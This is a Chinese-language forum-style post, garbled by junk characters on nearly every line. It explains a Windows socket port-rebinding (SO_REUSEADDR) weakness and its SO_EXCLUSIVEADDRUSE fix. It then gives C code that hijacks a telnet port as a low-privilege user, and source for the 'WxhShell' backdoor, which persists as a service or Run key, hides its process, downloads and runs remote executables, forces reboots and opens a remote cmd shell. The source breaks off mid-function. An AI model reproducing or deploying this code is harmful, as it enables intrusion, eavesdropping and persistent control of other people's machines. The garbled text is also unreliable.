在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
mer{Jys s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
i{0_}"B #a:C=GV;4 saddr.sin_family = AF_INET;
N<%,3W_-_ : Tl?yGF saddr.sin_addr.s_addr = htonl(INADDR_ANY);
N<WFe5 s q$|Pad[ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
6Rj
X b.+\qaR 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
.(ir2g ya=51~ by" 这意味着什么?意味着可以进行如下的攻击:
<hdCO<
0( f|)t[,c 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
NST6pu\,U ~Otf
" < 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
T~E83Jw sjGZ
,?% 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
7\lb+^$ +V^_ksi\ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
6iC:l%|u h'+ swPh 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
i:72FVo 8!fwXm 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
,5,4 Qf7 0XNb@ogo 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
&2J|v#$F :W"ITY( #include
<}%*4mv #include
DFMWgBL #include
-M}iDBJx># #include
AH+J:8k DWORD WINAPI ClientThread(LPVOID lpParam);
0Og =H79< int main()
TPuzL(ws {
C'#:}]@E WORD wVersionRequested;
~c"c9s+o DWORD ret;
y-mmc}B>N WSADATA wsaData;
xC(PH?_ BOOL val;
t~Ax#H SOCKADDR_IN saddr;
&XP 0 SOCKADDR_IN scaddr;
kCV OeXv int err;
DQd&:J@? SOCKET s;
8*X8U:.0o SOCKET sc;
ewY X \ int caddsize;
ececN{U/ HANDLE mt;
"fdG5|NJe DWORD tid;
{H74`-C)W wVersionRequested = MAKEWORD( 2, 2 );
J4<*KL~a err = WSAStartup( wVersionRequested, &wsaData );
Nnw iH if ( err != 0 ) {
;uy/Vc5,Y printf("error!WSAStartup failed!\n");
-|5&3HVz return -1;
J$oJ }
aryr saddr.sin_family = AF_INET;
ak zb<aT ]3G2mY;`"% //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
*zcH3a,9"x `/O_6PQ} saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
NbdaP{{ saddr.sin_port = htons(23);
l;4F,iI if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
qM)^]2_- {
/+iaw~={" printf("error!socket failed!\n");
SL*(ZEn" return -1;
OA;L^d }
=0Mmxd&o=M val = TRUE;
F`l1I=; //SO_REUSEADDR选项就是可以实现端口重绑定的
Nf1l{N if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
VQyDd~Za {
uB
BE!w_ printf("error!setsockopt failed!\n");
ZyG528O22 return -1;
e=U7w7(s9 }
Yi:+,-Fso //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
B^
h!F8DC //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
P06K0Fxf //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
1<*-,f " 1Bn/Q if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Q_Rr5/ {
> 01k
u ret=GetLastError();
I/adzLQ printf("error!bind failed!\n");
j<[<qU: return -1;
uAP|ASH9T }
Lqt] listen(s,2);
Kxq~,g=t while(1)
M1:m"#= {
a)]N#gx caddsize = sizeof(scaddr);
/CP1mn6H //接受连接请求
:\ S3[(FV sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
VH/_0 if(sc!=INVALID_SOCKET)
I'";
{
&Z?uK, 8 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
OtJS5A if(mt==NULL)
W;1Hyk {
CzgLgh;:T printf("Thread Creat Failed!\n");
0R.@\?bhL break;
j$,`EBf`:< }
&wJ"9pQ~6E }
jGt[[s
CloseHandle(mt);
p&7>G-. }
Ky+TgR closesocket(s);
D_@^XS WSACleanup();
b|EZ;,i return 0;
)vw3Y88 }
~o+u: ] DWORD WINAPI ClientThread(LPVOID lpParam)
iVD9MHT4 {
;fuy}q8@7 SOCKET ss = (SOCKET)lpParam;
hod|o1C& SOCKET sc;
9%x[z%06 unsigned char buf[4096];
"|hmiMdGB SOCKADDR_IN saddr;
2`;
0y M long num;
Y!KGJ^.mF
DWORD val;
1\1o65en DWORD ret;
mesR)fTI //如果是隐藏端口应用的话,可以在此处加一些判断
,E_hG3}} //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
]5^u^ saddr.sin_family = AF_INET;
"ey~w=B$M saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
DpA)Z?? saddr.sin_port = htons(23);
yY!jkRq%w if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
6d_l[N {
{W0@lMrD printf("error!socket failed!\n");
J &c}z4 return -1;
]_-<[0 }
"`lRX val = 100;
rVkHo*Q if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
ex-`+cF {
Ji=E 1R ret = GetLastError();
bH&[O`vf return -1;
2rA`y8g(L }
IuPwFf) if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
e%8K
A#DX {
3o6N&bQ b ret = GetLastError();
Qq5)|m return -1;
]R0^
}sI }
Q?vGg{> if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
ifuVV Fov {
7-)Y\D printf("error!socket connect failed!\n");
)=~1m85+5B closesocket(sc);
!x>P]j7A}Y closesocket(ss);
<.Pr+g return -1;
0%vXPlfnY }
Tmq:,.^} while(1)
BONM:(1 {
55Jk "V#8 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
98x(2fCvF( //如果是嗅探内容的话,可以再此处进行内容分析和记录
WFtxEIrl3j //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
GX\/2P7CZ num = recv(ss,buf,4096,0);
=\tg$ if(num>0)
% nJ'r?+h send(sc,buf,num,0);
07CGHAxJ` else if(num==0)
GMFp,Df break;
++xEMP) num = recv(sc,buf,4096,0);
>zXw4=J if(num>0)
9^`G `D send(ss,buf,num,0);
D>05F,a else if(num==0)
P\SE_*& break;
1h|JKu0 }
QGfU: closesocket(ss);
zL1H[}[z+ closesocket(sc);
fY\QI
= return 0 ;
#qHo+M$" }
*Bc=gl$ RzXxnx)]q R:=i/P/ ==========================================================
o: TO[ nsYS0 下边附上一个代码,,WXhSHELL
&AC-?R|Dp ;[&g`%-H< ==========================================================
a Z
^SK|E 7|\[ipVX:3 #include "stdafx.h"
U1dz:OG> ,_p_p^Ar\4 #include <stdio.h>
]ZZ7j #include <string.h>
zf#V89!]C" #include <windows.h>
j&ddpS(s #include <winsock2.h>
B\9ymhx;g% #include <winsvc.h>
?mnwD ]u #include <urlmon.h>
xj(&EGY: \# #pragma comment (lib, "Ws2_32.lib")
(1*?2u*j #pragma comment (lib, "urlmon.lib")
v@[MX- ,8 Z{&PKS #define MAX_USER 100 // 最大客户端连接数
%
`\8z #define BUF_SOCK 200 // sock buffer
J7$5< #define KEY_BUFF 255 // 输入 buffer
Ry tQNwv3 Es1Yx\/: #define REBOOT 0 // 重启
}wz )" #define SHUTDOWN 1 // 关机
-49OE*uF _<&IpT{w+ #define DEF_PORT 5000 // 监听端口
KD=T04v tvZpm@1 #define REG_LEN 16 // 注册表键长度
az\;D\\ #define SVC_LEN 80 // NT服务名长度
&!a[rvtZ+ Jt@7y"< // 从dll定义API
H"6:!;9, typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
p\~ lPXK typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
$GPenQ~}, typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
:U^a0s%B typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
4>gkXfTF XV]`? // wxhshell配置信息
%.[t(F struct WSCFG {
RR*<txdN int ws_port; // 监听端口
n"$D/XJO char ws_passstr[REG_LEN]; // 口令
%mg |kb6n int ws_autoins; // 安装标记, 1=yes 0=no
=#SKN\4 char ws_regname[REG_LEN]; // 注册表键名
YB.r-c"Y char ws_svcname[REG_LEN]; // 服务名
ZmU S} char ws_svcdisp[SVC_LEN]; // 服务显示名
9-I;' char ws_svcdesc[SVC_LEN]; // 服务描述信息
P*Uu)mG)G char ws_passmsg[SVC_LEN]; // 密码输入提示信息
|&o%c/ int ws_downexe; // 下载执行标记, 1=yes 0=no
/\(0@To char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
mq do@ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
tNoo3& /EA4-#uw };
P.=&:ay7? R@u6mMX{N, // default Wxhshell configuration
jI[:` struct WSCFG wscfg={DEF_PORT,
@?f3(Gh, "xuhuanlingzhe",
[?yOJU%` 1,
gs7H9%j{U "Wxhshell",
vH9/}w2 "Wxhshell",
Lr V)}1&5 "WxhShell Service",
[-=PK\ B "Wrsky Windows CmdShell Service",
Rq<T2}K "Please Input Your Password: ",
eZk
[6H 1,
Atzp\oO "
http://www.wrsky.com/wxhshell.exe",
mN!>BqvN "Wxhshell.exe"
8!'#B^ };
;a*i*{\Rm T1LtO O // 消息定义模块
Q9]7.^l char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
<G/O!02 char *msg_ws_prompt="\n\r? for help\n\r#>";
!i2=zlpb[ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
?yU|;my char *msg_ws_ext="\n\rExit.";
&Dgho char *msg_ws_end="\n\rQuit.";
Jr==AfxyT char *msg_ws_boot="\n\rReboot...";
j"7 z char *msg_ws_poff="\n\rShutdown...";
L Lm{:T7 char *msg_ws_down="\n\rSave to ";
w%g@X6 bo4 :|Z char *msg_ws_err="\n\rErr!";
ebcGdC/%> char *msg_ws_ok="\n\rOK!";
X)$3sTj O
sbY}*S char ExeFile[MAX_PATH];
+MIDq{B int nUser = 0;
3W5|Y@0 HANDLE handles[MAX_USER];
0bVtku K;G int OsIsNt;
FDkRfh K VX2KE@ SERVICE_STATUS serviceStatus;
1.4]T, ` SERVICE_STATUS_HANDLE hServiceStatusHandle;
s
'u6Ep/V ^8a,gA8. // 函数声明
-"UK NB! int Install(void);
(&=-o( int Uninstall(void);
SL?
!
RQ int DownloadFile(char *sURL, SOCKET wsh);
[>=D9I@~ int Boot(int flag);
K, WNM S void HideProc(void);
]3BTL7r int GetOsVer(void);
m1heU3BUWU int Wxhshell(SOCKET wsl);
EgFV void TalkWithClient(void *cs);
;@Alr?y int CmdShell(SOCKET sock);
p3M)gH=N int StartFromService(void);
QS4sSua int StartWxhshell(LPSTR lpCmdLine);
7
g8SK F<M#T VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
|K YON Q VOID WINAPI NTServiceHandler( DWORD fdwControl );
pn{Mj l`UJHX // 数据结构和表定义
.DMeWi SERVICE_TABLE_ENTRY DispatchTable[] =
R#"kh/M {
DGz'Dn {wscfg.ws_svcname, NTServiceMain},
>2_BL5<S {NULL, NULL}
|<96H8 };
J}Bg<[n ;XMbjWc // 自我安装
Zrr3='^s int Install(void)
;e_dk4_ {
Ou"QUn| char svExeFile[MAX_PATH];
vQ#$.*Cvn HKEY key;
G|Yw
a= strcpy(svExeFile,ExeFile);
tx;MH5s/V mnzamp // 如果是win9x系统,修改注册表设为自启动
(`5No:?v< if(!OsIsNt) {
tKjPLi71 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
y)X;g:w RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
7[rn
,8@ RegCloseKey(key);
mL?9AxO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
<N}UwB& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
y\$B9KX RegCloseKey(key);
@Y 1iEL%\y return 0;
R
rs?I,NV }
cKEf- &~ }
D}XyT/8G3 }
b8P/9D7K? else {
mk2T #I|Vyufw // 如果是NT以上系统,安装为系统服务
^o+2:G5z} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
bHH{bv~Z if (schSCManager!=0)
0(VH8@h`O {
|\TOSaZ SC_HANDLE schService = CreateService
5"u-oE& (
^0_ *AwIcN schSCManager,
<W2}^q7F^ wscfg.ws_svcname,
*91iFeKj= wscfg.ws_svcdisp,
>"q0"zrN, SERVICE_ALL_ACCESS,
^hv SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
.+t{o[ SERVICE_AUTO_START,
^W5rL@h_ SERVICE_ERROR_NORMAL,
~aQ>DpSEf svExeFile,
6a[D]46y,2 NULL,
kSv?p1\@&P NULL,
$qYtN`b, NULL,
z'=*pIY5f NULL,
RIJ+]uir4 NULL
$v#Q'?jE );
sesr`,m., if (schService!=0)
:~3sW< PR {
I&l 1b> CloseServiceHandle(schService);
Wp/!; CloseServiceHandle(schSCManager);
*[*LtyCQt4 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
pg1o@^OuL strcat(svExeFile,wscfg.ws_svcname);
MNzq,/Wf if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
wv>Pn0cO RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
}jBr[S5 RegCloseKey(key);
AR\>P return 0;
JP)/
O! }
'}dlVf }
pN6!IxN$ CloseServiceHandle(schSCManager);
"(PJh\S>S }
3Q*K+(`{ }
[wG?&l$.KB #F@53N return 1;
!f-mC,d }
\u?z:mV !/znovoD // 自我卸载
6e&Y%O'8 int Uninstall(void)
{>tgNW>) {
h@=H7oV7k HKEY key;
VJJGTkm
*>ju1f if(!OsIsNt) {
%Js3Y9AL C if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Q%KH^< RegDeleteValue(key,wscfg.ws_regname);
rVd (H RegCloseKey(key);
W -<E p<7{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
}@=m[Zx# RegDeleteValue(key,wscfg.ws_regname);
G,9osTt/ RegCloseKey(key);
4SCb9|/Q return 0;
yS p]+ }
5<w"iqZ\?N }
uNZJNrV% }
<Z{\3X^ else {
]IMBRZQqb fqZqPcT0 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
y K)7%j! if (schSCManager!=0)
3GUO {
7GY[l3arxv SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
v^2K=f[nE if (schService!=0)
A<2_V1 {
:A
$%5;-kO if(DeleteService(schService)!=0) {
|C?<!6.QmV CloseServiceHandle(schService);
<use+C2 CloseServiceHandle(schSCManager);
I&Q.MItW return 0;
ZGK*]o=) }
L3lf2 8W CloseServiceHandle(schService);
&?YbAo_K }
_?#}@? CloseServiceHandle(schSCManager);
/f~V(DK }
| V Ps5 }
>i7zV`eK ]S9~2;2^, return 1;
kKAK;JQ }
9:"%j He}qgE>Us // 从指定url下载文件
yz8ZY,9 int DownloadFile(char *sURL, SOCKET wsh)
L3iYZ>] {
"^VKs_U8o HRESULT hr;
e#JJd= char seps[]= "/";
/*!K4)$-*2 char *token;
w^e<p~i!^E char *file;
-twV?~f char myURL[MAX_PATH];
rU`#3}s char myFILE[MAX_PATH];
SjV;&
1Z/ "& 'h\ strcpy(myURL,sURL);
cdVh_"[ token=strtok(myURL,seps);
Ql&5fyW while(token!=NULL)
Q4\EI=4P] {
QyQ&xgS file=token;
hE0
p>R8 token=strtok(NULL,seps);
&dp<i[ec^ }
U1G"T(;s: u!?cKZw GetCurrentDirectory(MAX_PATH,myFILE);
5xX*68]% strcat(myFILE, "\\");
^_
L'I%%[ strcat(myFILE, file);
$50A!h send(wsh,myFILE,strlen(myFILE),0);
e}Cp;c]= send(wsh,"...",3,0);
"- @{ ) hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
^55#!/9 if(hr==S_OK)
}/q]:3M| return 0;
<o,]f E[ else
O`1_eK~1< return 1;
d|CSWcU H4p N+ }
!]=[h FB-?{78~ // 系统电源模块
jPU:&1(_ n int Boot(int flag)
$,Y\ {
!4TM gM HANDLE hToken;
mu`h6?v TOKEN_PRIVILEGES tkp;
C"no>A^ udVEOn$ if(OsIsNt) {
DjUif "v OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
oe`t ? (U LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
2iC7c6hc tkp.PrivilegeCount = 1;
_]:wltPv tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
U;p" x^U` AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
xR
`4< if(flag==REBOOT) {
^[6eo8Ck> if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
b$\3Y'": return 0;
XMo#LS }
N@Pf \D else {
qE?*:$ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
%_C!3kKv~ return 0;
6&/n/g }
sT:$:= }
;zVtJG` else {
{#"[h1 if(flag==REBOOT) {
0.C[/ u[ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
dnt: U!TW@ return 0;
hAq7v']m }
A+v6N>}* else {
#vCtH2 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
:MPWf4K2s return 0;
<yzgZXxIaS }
gE2k]`[j] }
YLs%u=e($ X:Z4QqT return 1;
^-Ob($(\ }
+|(-7" :k9n
9
// win9x进程隐藏模块
d Bn/_ void HideProc(void)
tDn{;ED< {
Ca}T)]// .:gZ*ks~ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
6\"g,f if ( hKernel != NULL )
9>,$q"M}? {
}jTCzqHW] pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
uFPJ}m[>5 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
yneIY-g(p FreeLibrary(hKernel);
T=Q"|S]V }
Mg3>/! 2;X{ZLo return;
b.HfxYt( }
&("HH"! D >ax<t1K // 获取操作系统版本
Hw[(v[v int GetOsVer(void)
1N8gH&oF {
TY,5]*86I& OSVERSIONINFO winfo;
}i,LP1R winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
>
Q[L,I GetVersionEx(&winfo);
$M%<i~VXe& if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
W~(4t:hp return 1;
(
-^- else
b
{fZU?o return 0;
,pfHNK-u }
6aC'\8{h nO-1^HUl // 客户端句柄模块
w}2 ;f= int Wxhshell(SOCKET wsl)
4#D=+70' {
JBzRL"| SOCKET wsh;
G-FeDP struct sockaddr_in client;
5X"y46i,H DWORD myID;
O#[+=
^ 3%`asCW$ while(nUser<MAX_USER)
+<qmVW^X {
P]V/<8o.53 int nSize=sizeof(client);
YT:])[gVV wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
q6E8^7RtS@ if(wsh==INVALID_SOCKET) return 1;
7bcl^~lY ,c3gW2E handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
^\|Hz\"* if(handles[nUser]==0)
tR`'( *wh closesocket(wsh);
x@^Kd*fo else
OJX* :Q nUser++;
2Cy">Exl }
|Uf[x[ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
ZWJ%t'kF 4-ijuqjN return 0;
~:h-m\=8Y }
g+CTF67 ::'DWD1 // 关闭 socket
z +NxO!y void CloseIt(SOCKET wsh)
T\}? {
WEX6I16 closesocket(wsh);
:.xdG>\n3 nUser--;
!a
%6nBo ExitThread(0);
s
Yp?V\Y" }
Ekq&.qjYG" /eFudMl // 客户端请求句柄
&+"-'7 void TalkWithClient(void *cs)
-TL `nGF {
@C\>P49 ?r< F/$/ SOCKET wsh=(SOCKET)cs;
~n)gP9Hv char pwd[SVC_LEN];
WsHC%+\' char cmd[KEY_BUFF];
JjO="Cmk/ char chr[1];
X MkyX&y int i,j;
,V$PV,G G3 h&nH,> while (nUser < MAX_USER) {
#f*,mY|> 0LQ|J(u if(wscfg.ws_passstr) {
y]9PLch]vZ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
AfQ?jKk&{' //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
u+
wKs` //ZeroMemory(pwd,KEY_BUFF);
(WoKrd.! i=0;
z>n<+tso while(i<SVC_LEN) {
ZAKNyA2 ykq9]Xqhv // 设置超时
>$^v@jf fd_set FdRead;
=^nb-9. struct timeval TimeOut;
e G8Zn<:s FD_ZERO(&FdRead);
RDFOUqS FD_SET(wsh,&FdRead);
X9:4oMux7 TimeOut.tv_sec=8;
g7>p, TimeOut.tv_usec=0;
8Xo`S<8VS int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
1w30Vj2< if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Z.!tp ,ypD0Q if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
4VPJv>^ pwd
=chr[0]; Y$tgz)
if(chr[0]==0xd || chr[0]==0xa) { ZW+[f$X
pwd=0; A4C4xts]N
break; I\8f`l
} |{)SLvlJl
i++; G"_ 8`l
} \W^+aNbv=8
:Fvd?[
// 如果是非法用户,关闭 socket 7&I+mw/X
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FNQR sNi
} 6[iu CMOZ
dV~yIxD}C*
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C`)n\?:Sth
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -Odk'{nW
_b ~XBn
while(1) { \QpH~&QIS
w-[A"M]I
ZeroMemory(cmd,KEY_BUFF); ue YBD]3'
QH?}uX'x)G
// 自动支持客户端 telnet标准 {e>E4(
j=0; n\U3f M>N
while(j<KEY_BUFF) { vZ<@m2
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e3|@H'~k
cmd[j]=chr[0]; g{]C@,W
if(chr[0]==0xa || chr[0]==0xd) { O@n1E'S/
cmd[j]=0; "CS{fyJ
break; "q-,140_
} aa:97w~s0
j++; d8Keyi8[
}
]+ \]2`?
?2;gmZd7
// 下载文件 i]qVT)j
if(strstr(cmd,"http://")) { |C MKY
send(wsh,msg_ws_down,strlen(msg_ws_down),0); wZ^7#yX>
if(DownloadFile(cmd,wsh)) 4{[cXM8*j
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |VY+!
else xj1FCT2
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >:2B r(S
} `#X\@?'5
else { Pf?*bI
]#UyYgPk
switch(cmd[0]) { ;M<jQntqS{
[c{/0*
// 帮助 g?(h{r`
case '?': { `ViFY
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~6:<OdQ
break; 71nI`.Z
} U\_-GS;1
// 安装 |_=o0lf
case 'i': { _N.N?>
if(Install()) q~3dbj
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8z?q4
else D@M
ZTb
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #$<7
break; :3,aR\
} 1T{A(<:o$
// 卸载 U1+X!&OCp
case 'r': { Bf&,ACOf
if(Uninstall()) WVP^C71
send(wsh,msg_ws_err,strlen(msg_ws_err),0); gC}r$ZB(
else ?A[q/n:K
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8x`?Yc
break; Zcaec#
} -SZW[T<N"
// 显示 wxhshell 所在路径 l7{Xy_66
case 'p': { a<Ru )Q?=
char svExeFile[MAX_PATH]; LX4*3c|i,
strcpy(svExeFile,"\n\r"); rPK)=[MZ
strcat(svExeFile,ExeFile); Z3ucJH/)V
send(wsh,svExeFile,strlen(svExeFile),0); Ab]`*h\U
break; wKjL}1.k
} {=(GY@yU/
// 重启 p8%/T>hK
case 'b': { PMDx5-{A/t
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]F,mj-?4x
if(Boot(REBOOT)) !'4HUB>+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?m)3n0Uh
else { RhJ{#G~:%
closesocket(wsh); 6LGy0dWpG
ExitThread(0); n4albG4
} @KM !g,f
break; {b|:q>Be8
} MEOVw[hO
// 关机 [")3c)OH|
case 'd': { 63ig!-9F
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kIHfLwh9N
if(Boot(SHUTDOWN)) ,ux?wa+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); DE GEr-
else { ,S|v>i,@
closesocket(wsh); }Q 7~tu
ExitThread(0); Et\z^y
} e 1W9Z $m
break; F_m[EB
} g~5$X{
// 获取shell 93zoJiLRf
case 's': { =WaZy>n}7
CmdShell(wsh); hpftVEB
closesocket(wsh); N:#"4e
ExitThread(0); dtK[H+
break; pi>,>-Z
} t)Iu\bP
// 退出 V~V_+
case 'x': { p'lL2n$E
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !,rp|
CloseIt(wsh); , _K /e
break; d"
T">Og)
} lyBae?%&
// 离开 "3kIQsD|j
case 'q': { U5uO|\+)
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Mlr\#BO"9
closesocket(wsh); B~/:["zTh&
WSACleanup(); g]^@bxdg
exit(1); }Y/uU"t
break; Ap&Bwo 8b
} dgLE/r?
} oDY
$F%
} S4/CL4=
z(sfX}%
// 提示信息 C;#-2^h
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #nQZ/[|
} ac8+?FpK #
} +|#lUXC
!d@q T.
return; ),#%jc2_^
} h J*2q"
Lh0qB)>
// shell模块句柄 X.u&4SH
int CmdShell(SOCKET sock) `XAlzI
{ _#6_7=g@s6
STARTUPINFO si; un{LwZH
ZeroMemory(&si,sizeof(si)); _9%R
U"
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /%E X4
W
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s-V5\Lip,
PROCESS_INFORMATION ProcessInfo; 89*txYmx
char cmdline[]="cmd"; RAw/Q$I
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); idWYpU>gC
return 0; ZT*RD2,
} +Y7"!wYR>
[If%+mHdU
// 自身启动模式 -;5WMX6
int StartFromService(void) AE1EZ#
{ cG)i:
typedef struct I9xQ1WJc`
{ 'CE3
|x\%K
DWORD ExitStatus; EbEQ@6t
DWORD PebBaseAddress; ~b.C[s
DWORD AffinityMask; {q=(x]C
